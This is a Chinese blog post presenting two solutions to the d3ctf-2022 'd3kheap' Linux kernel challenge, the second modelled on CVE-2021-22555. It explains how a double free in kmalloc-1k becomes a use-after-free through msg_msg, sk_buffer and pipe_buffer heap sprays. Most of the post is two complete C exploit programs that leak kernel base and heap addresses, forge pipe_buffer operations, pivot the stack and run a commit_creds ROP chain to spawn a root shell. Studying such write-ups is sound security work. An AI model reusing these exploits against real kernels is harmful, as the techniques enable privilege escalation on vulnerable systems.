d3ctf-2022 d3kheap与CVE-2021-22555

分析

内核版本5.11(没有GFP_KERNEL_ACCOUNT的隔离),smap,smep,kpti,kaslr.
给了一次1024字节对象的double free,但未提供对该对象读写能力.

用户态pwn题对double free的处理一般是利用堆管理器,劫持freelist达成任意地址分配.且在此之前一般需要先获得一些地址信息.

在这里,我们需要通过一次对不具有读写能力的对象的double free完成信息泄露以及控制流劫持.这种效果在内核中反而容易办到,因为内核中有大量可以利用的结构体.

double free向use after free的转化:
1.释放object.
2.将空闲对象分配给目标对象victim
3.利用double free释放victim
(4.)将victim分配到某个具有读写能力的结构体并进行读写
此时对victim的使用便是use after free.

那么问题变成了,如何进行读写,选什么作为victim.

先来看读,读的目的是泄露victim中的地址信息,然而正常情况下,具有读能力的结构必须先写入数据再读取相应长度的数据,否则该结构本身就会造成信息泄露.所以直接通过某个结构体来读victim是不合理的.不过我们可以通过某个结构体来修改victim的某些字段,再利用victim去读其他结构完成信息泄露.
(后记: 实际上,更改一下分配顺序即可,先分配给具有读能力的结构进行写入,再分配给victim,此时即可直接读victim完成信息泄露,使用这种方法来泄露text段地址会使得解法一的稳定性大大增加.例子见解法二.)

那victim的选取就很常规了,msg_msg即可(越界读取).

能从kmalloc-1k中分配并具有写入能力的结构(或系统调用),常见的有setxattr,msg_msg,sk_buffer以及sendmsg.
经测试环境中setxattr无法使用(-ENOTSUP,也有可能是笔者操作有误),msg_msg有个header不太方便,sk_buffer虽然有个320字节的tail但对于总大小1k的对象来说,tail位于1k-320的位置,不影响对victim对象的写入.

解法一

步骤

越界读的对象,这里选取pipe_buffer来泄露kernel_base,msg_msg来泄露kernel_heap(用处下面再说).

完成泄露需要kmalloc-1k中这样的堆布局,由于一个next为NULL的msg_msg最多能读0x1000-0x30字节的数据,所以只能读到之后的三个object,这三个object中顺序不限,需要同时有一个msg_msg和pipe_buffer.由于同时依赖于这两个结构体,无法通过堆喷来稳定布局,使得该方法的稳定性大大降低.

(看起来能同时泄露kernel_base和kernel_heap的tty结构是更好的选择,但本题并没有挂载devpts)

The Linux support for the above (known as UNIX 98 pseudoterminal
naming) is done using the devpts filesystem, which should be
mounted on /dev/pts

接下来是劫持控制流的工作.这里采用UAF劫持pipe_buffer的operation函数表的方式.要想换个结构体继续UAF,就得再对之前的victim进行double free.释放之前用来写入的sk_buffer没有问题,但由于do_msgrcv的unlink操作,msg_msg(victim)的释放会导致panic.不过之前已经成功泄露了堆地址,再使用一次sk_buffer进行修复即可.

笔者到这才想到,(开启smap的情况下)劫持函数表需要先在已知地址伪造一个函数表.幸好之前已经有个堆地址了.
此堆地址指向其对应的msg_queue,于是我们可以通过堆喷在kmalloc-256中制造这样的堆布局(先进行占位,等泄露堆地址后释放再写入fake_operation).
此时fake_operation_addr = msg_queue-0xC0+256+0x30.

之后通过指向pipe_buffer的rsi进行栈迁移再ROP即可.栈迁移需要将rsi的值赋给rsp,然而我的ROPgadget并没有找到合适的gadget.看a3的wp才找到了这样一条gadget,暂时不知道如何去搜索这样复杂的gadget.

EXP

成功率不高,但大多时候稳定在15-30次.
kmalloc-256中的堆喷可以修改一下,将msg_queue的分配放在连续堆喷的中间应该会提高成功率.这里笔者偷懒没调了,详见解法2中泄露堆地址的布局堆喷…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
#include <kernelpwn.h>

int main()
{
int ret;
setvbuf(stdout,_IONBF,0,0);
save_status();
bind_core(0);

dev_fd = open("/dev/d3kheap",O_RDWR);
ioctl(dev_fd,0x1234);
ioctl(dev_fd,0xDEAD);

char msgbuf[0x1000];
memset(msgbuf,0,0x1000);
int msgqid[5];
for(int i = 0;i<4;++i)
{
msgqid[i] = get_msg_queue();
}

LOG("spray msg_msg to keep space for fake pipe_buffer_operation in kmalloc-256");
for(int i = 1;i<30;++i)
{
memset(msgbuf, '\x33', 0X1000);
write_msg(msgqid[3],msgbuf,256-0x30,i);
}

LOG("spray msg_msg for leak heap_addr");
for(int i = 0;i<3;++i)
{
memset(msgbuf, 'A' + i, 0X1000);
write_msg(msgqid[i],msgbuf,1024-0x30,1);
}

ioctl(dev_fd,0xDEAD);

struct msg_msg fake_msg;
memset(&fake_msg,0,sizeof(fake_msg));
build_msg(&fake_msg,NULL,NULL,0,0x1000-0x30,NULL,NULL);

int sk_socket[2];
ret = socketpair(AF_UNIX,SOCK_STREAM,0,sk_socket);
if(ret<0)
err_exit("socketpair");

LOG("write fake_msg");
char buf[0x1000];
memset(buf,0,0x1000);
struct msg_msg* msgptr = buf;
*msgptr = fake_msg;
ret = write(sk_socket[0],msgptr,1024-320);
if(ret<0)
err_exit("write_sk_socket");

int pipe_fds[20][2];
for(int i = 0;i<20;++i)
{
ret = pipe(pipe_fds[i]);
if(ret<0)
err_exit("pipe");
ret = write(pipe_fds[i][1],"BBBBBBBB",8);
if(ret<0)
err_exit("pipe_write");
}

LOG("Out-Of-Boundary peek_msg");
memset(msgbuf,'a',0x1000);
ret = peek_msg(msgqid[0],msgbuf,0x1000-0x30,0);
if(ret<0)
err_exit("peek_msg");

kernel_base = 0;
size_t kernel_heap_addr = 0;
for(int i = 0;i<(0x1000-0x30)/8;++i)
{
size_t* pval = ((size_t*)msgbuf+i);
// printf("[ ]data:0x%llx\n",*pval);
if((*pval& 0xffff000000000000) == 0xffff000000000000&&!kernel_heap_addr&&pval[3]==1024-0x30)
{
kernel_heap_addr = *pval;
printf("[*]Kernel heap:0x%llx\n",kernel_heap_addr);
}

if((*pval & 0xffffffff00000000) == 0xffffffff00000000 &&!kernel_base && (*pval&0xFFFFF)==0x3fe40)
{
kernel_base = *pval-0x103fe40;
printf("[*]Kernel base:0x%llx\n",kernel_base);
}
}

if(!kernel_base||!kernel_heap_addr)
fail_exit("Failed to leak kernel_base or kernel_heap");

ret = read(sk_socket[1],msgptr,1024-320);
if(ret<0)
err_exit("read_sk_socket");


build_msg(&fake_msg,kernel_heap_addr,kernel_heap_addr,1,1024-0x30,NULL,NULL);
msgptr = buf;
*msgptr = fake_msg;

int sk_sockets[32][2];

LOG("spray sk_buffer to fix msg_msg");
for(int i = 0;i<32;++i)
{
ret = socketpair(AF_UNIX,SOCK_STREAM,0,sk_sockets[i]);
if(ret<0)
err_exit("socketpair");
ret = write(sk_sockets[i][0],msgptr,1024-320);
if(ret<0)
err_exit("write_sk_socket");
}

LOG("free msg_msg");
read_msg(msgqid[0],msgbuf,1024-0x30,1);

LOG("spray pipe_buffer again");
int pipe_fds2[20][2];
for(int i = 0;i<20;++i)
{
ret = pipe(pipe_fds2[i]);
if(ret<0)
err_exit("pipe");
ret = write(pipe_fds2[i][1],"BBBBBBBB",8);
if(ret<0)
err_exit("pipe_write");
}

LOG("free sk_buffer");
for(int i = 0;i<32;++i)
{
ret = read(sk_sockets[i][1],msgptr,1024-320);
if(ret<0)
err_exit("read_sk_socket");
}


//push rsi;pop rsp;test rdx,rdx;jle xxx; mov eax,0xffffffea;pop rbx;pop r12;pop r13;pop rbp;ret;
//be98cb : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
size_t gadget = kernel_base+0x2dbede;
size_t pop_rdi = kernel_base+0x938f0;
size_t mov_rdi_rax_rep = kernel_base+0xbe98cb;
size_t commit_creds_ptr = kernel_base+0x000d25c0;
size_t prepare_kernel_cred = kernel_base+0x000d2ac0;
size_t swapgs_restore_regs_and_return_to_usermode = kernel_base+0x00c00ff0;


char* stack = mmap(0x504000,0x4000,7,MAP_ANONYMOUS|MAP_PRIVATE,-1,0);
memset(stack,'4',0x4000);

for(int i = 1;i<30;++i)
{
read_msg(msgqid[3],msgbuf,256-0x30,i);
}

size_t* ppbuf_op = msgbuf;
ppbuf_op[2] = gadget; // op->release
ppbuf_op[1] = gadget; // op->release
ppbuf_op[3] = gadget; // op->release
ppbuf_op[0] = gadget; // op->release
// memset(msgbuf, '\x44', 0X1000);

LOG("spray msg_msg to write fake pipe_buffer_operation in kmalloc-256");
for(int i = 1;i<50;++i)
{
write_msg(msgqid[3],msgbuf,256-0x30,i);
}


size_t* ropchain = buf;
ropchain[2] = kernel_heap_addr-0xC0+256+0x30;
printf("[*]fake_pipe_buffer_operation addr:0x%llx\n",ropchain[2]);
int j = 4;
ropchain[j++] = pop_rdi;
ropchain[j++] = 0;
ropchain[j++] = prepare_kernel_cred;
ropchain[j++] = mov_rdi_rax_rep;
ropchain[j++] = commit_creds_ptr;
ropchain[j++] = swapgs_restore_regs_and_return_to_usermode+22;
ropchain[j++] = 0;
ropchain[j++] = 0;
ropchain[j++] = get_root_shell;
ropchain[j++] = 0x33;
ropchain[j++] = 0x246;
ropchain[j++] = stack+0x2000;
ropchain[j++] = 0x2b;

LOG("spray sk_buffer to write fake_pipe_buffer");
for(int i = 0;i<32;++i)
{
ret = socketpair(AF_UNIX,SOCK_STREAM,0,sk_sockets[i]);
if(ret<0)
err_exit("socketpair");
ret = write(sk_sockets[i][0],ropchain,1024-320);
if(ret<0)
err_exit("write_sk_socket");
}


LOG("free pipe_buffer to trigger exploit");
for(int i = 0;i<20;++i)
{
ret = close(pipe_fds2[i][0]);
if(ret<0)
err_exit("pipe_release");
ret = close(pipe_fds2[i][1]);
if(ret<0)
err_exit("pipe_release");
}


return 0;
}

解法二 CVE-2021-22555

步骤

Google在CVE-2021-22555中提供了稳定的UAF解法.

大致思路与解法一差不多.
(df-object即能够double free的那个object)

  1. 释放df-object,喷射msg_msg
  2. 释放df-object,喷射sk_buffer伪造m_ts字段,越界读出下一个msg_msg的指针(指向msg_queue).
  3. 释放并再喷射sk_buffer,伪造m_ts字段和next指针指向msg_queue,用fake_msg读出下一个msg_msg地址,fake_msg(df-object)地址位于下一个msg_msg-0x400处.

顺便提一下,为什么不用后记里的方法泄露msg_queue的地址呢?因为分配后分配的msg_msg会破坏掉之前sk_buffer的tail,可能导致panic.

  1. 释放sk_buffer并再次拿回,修复fake_msg的list_head.
  2. 释放sk_buffer并再次拿回,释放fake_msg后喷射pipe_buffer.
  3. 用sk_buffer读出内核基址并释放.
  4. 再次喷射sk_buffer,伪造pipe_buffer以及fake_operation,布置ropchain,劫持控制流完成提权.

EXP

这一版基本能做到稳定提权.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
#include <kernelpwn.h>

int main()
{
int ret;
setvbuf(stdout,_IONBF,0,0);
save_status();
bind_core(0);

dev_fd = open("/dev/d3kheap",O_RDWR);

int msgqid[32];
size_t buf[0x400];
memset(buf,'A',0x2000);
for(int i = 0;i<16;++i)
{
msgqid[i] = get_msg_queue();
write_msg(msgqid[i],buf,1024-0x30,1);
}

ioctl(dev_fd,0x1234);
ioctl(dev_fd,0xDEAD);

for(int i = 16;i<32;++i)
{
msgqid[i] = get_msg_queue();
write_msg(msgqid[i],buf,1024-0x30,1);
}

LOG("spray sk_buffer and write fake msg_msg to OOB leak msg_queue addr");
int sk_socket[64][2];
memset(buf,'B',0x2000);
ioctl(dev_fd,0xDEAD);
build_msg(buf,NULL,NULL,1,0x1000-0x30,NULL,NULL);
for(int i = 0;i<32;++i)
{
socketpair(AF_UNIX,SOCK_STREAM,0,sk_socket[i]);
ret = write(sk_socket[i][0],buf,1024-320);
if(ret<0)
err_exit("write fake msg_msg");
}


ret = peek_msg(msgqid[16],buf,0x1000-0x30,0);
if(ret<0)
err_exit("peek_msg");

// for(size_t* p = buf;p-buf<(0x1000-0x30)/8;++p)
// {
// printf("[ ]data dump: 0x%llx\n",*p);
// }

size_t msg_queue_addr = 0;
size_t* pval = (char*)buf+8+1024-0x30;
// printf("[ ]data dump: 0x%llx\n",*pval);
if((*pval& 0xffff000000000000) == 0xffff000000000000&&!msg_queue_addr&&pval[3]==1024-0x30)
msg_queue_addr = *pval;
if(!msg_queue_addr)
fail_exit("Fail to leak msg_queue addr");
printf("[*]msg_queue addr: 0x%llx\n",msg_queue_addr);

for(int i = 0;i<32;++i)
{
read(sk_socket[i][1],buf,1024-320);
}

LOG("spray sk_buffer and write fake msg_msg to read df-object addr");
build_msg(buf,NULL,NULL,1,0x2000-0x30,msg_queue_addr-8,NULL);
for(int i = 0;i<32;++i)
{
socketpair(AF_UNIX,SOCK_STREAM,0,sk_socket[i]);
ret = write(sk_socket[i][0],buf,1024-320);
if(ret<0)
err_exit("write fake msg_msg");
}



ret = peek_msg(msgqid[16],buf,0x2000-0x30,0);
if(ret<0)
err_exit("peek_msg");

// for(size_t* p = buf+((0x1000-0x30)/8+1);p-buf<(0x2000-0x30)/8;++p)
// {
// printf("[ ]data dump: 0x%llx\n",*p);
// }

size_t df_object_addr = *(buf+((0x1000-0x30)/8+1)) - 0x400;
printf("[*]Got df-object addr : 0x%llx\n",df_object_addr);

for(int i = 0;i<32;++i)
{
read(sk_socket[i][1],buf,1024-320);
}
LOG("spray sk_buffer to fix msg_msg");
build_msg(buf,msg_queue_addr,msg_queue_addr,1,1024-0x30,NULL,NULL);
for(int i = 0;i<32;++i)
{
socketpair(AF_UNIX,SOCK_STREAM,0,sk_socket[i]);
ret = write(sk_socket[i][0],buf,1024-320);
if(ret<0)
err_exit("write fake msg_msg");
}

LOG2("Free msg_msg");
//这里全部释放会卡住.
// for(int i = 0;i<32;++i)
// {
ret = read_msg(msgqid[16],buf,1024-0x30,1);
if(ret<0)
err_exit("read_msg");
// }

LOG2("spray pipe_buffer");
int pipe_fd[32][2];
for(int i = 0;i<32;++i)
{
ret = pipe(pipe_fd[i]);
if(ret<0)
err_exit("pipe");
ret = write(pipe_fd[i][1],"BBBBBBBB",8);
if(ret<0)
err_exit("pipe_write");
}

kernel_base = 0;
for(int i = 0;i<32;++i)
{
read(sk_socket[i][1],buf,1024-320);
for(size_t* p = buf;p-buf<(1024-320)/8;++p)
{
// printf("[ ]data dump: 0x%llx\n",*p);
if((*p & 0xffffffff00000000) == 0xffffffff00000000 &&!kernel_base && (*p&0xFFFFF)==0x3fe40)
{
kernel_base = *p-0x103fe40;
printf("[*]Kernel base:0x%llx\n",kernel_base);
break;
}
if(kernel_base)
break;
}
}

if(!kernel_base)
fail_exit("Fail to leak kernel_base");



LOG("spray sk_buffer to write fake_pipe_buffer,fake_operation,ropchain");
size_t gadget = kernel_base+0x2dbede;
size_t pop_rdi = kernel_base+0x938f0;
size_t mov_rdi_rax_rep = kernel_base+0xbe98cb;
size_t commit_creds_ptr = kernel_base+0x000d25c0;
size_t prepare_kernel_cred = kernel_base+0x000d2ac0;
size_t swapgs_restore_regs_and_return_to_usermode = kernel_base+0x00c00ff0;


char* stack = mmap(0x504000,0x4000,7,MAP_ANONYMOUS|MAP_PRIVATE,-1,0);
memset(stack,'4',0x4000);

size_t fake_operation_addr = 16*8+df_object_addr;
printf("[*]fake_operation_addr: 0x%llx\n",fake_operation_addr);
//fake_pipe_buffer->ops
buf[2] = fake_operation_addr;

//ropchain
buf[4] = pop_rdi;
buf[5] = 0;
buf[6] = prepare_kernel_cred;
buf[7] = mov_rdi_rax_rep;
buf[8] = commit_creds_ptr;
buf[9] = swapgs_restore_regs_and_return_to_usermode+22;
buf[10] = 0;
buf[11] = 0;
buf[12] = get_root_shell;
buf[13] = 0x33;
buf[14] = 0x246;
buf[15] = stack+0x2000;
buf[16] = 0x2b;

//fake_operation
buf[17] = gadget;

key_alloc("asd",buf,0x10);

for(int i = 0;i<64;++i)
{
socketpair(AF_UNIX,SOCK_STREAM,0,sk_socket[i]);
ret = write(sk_socket[i][0],buf,1024-320);
if(ret<0)
err_exit("write fake msg_msg");
}

LOG("free pipe_buffer to trigger exploit");
for(int i = 0;i<32;++i)
{
ret = close(pipe_fd[i][0]);
if(ret<0)
err_exit("pipe_release");
ret = close(pipe_fd[i][1]);
if(ret<0)
err_exit("pipe_release");
}


return 0;


}

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2024 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信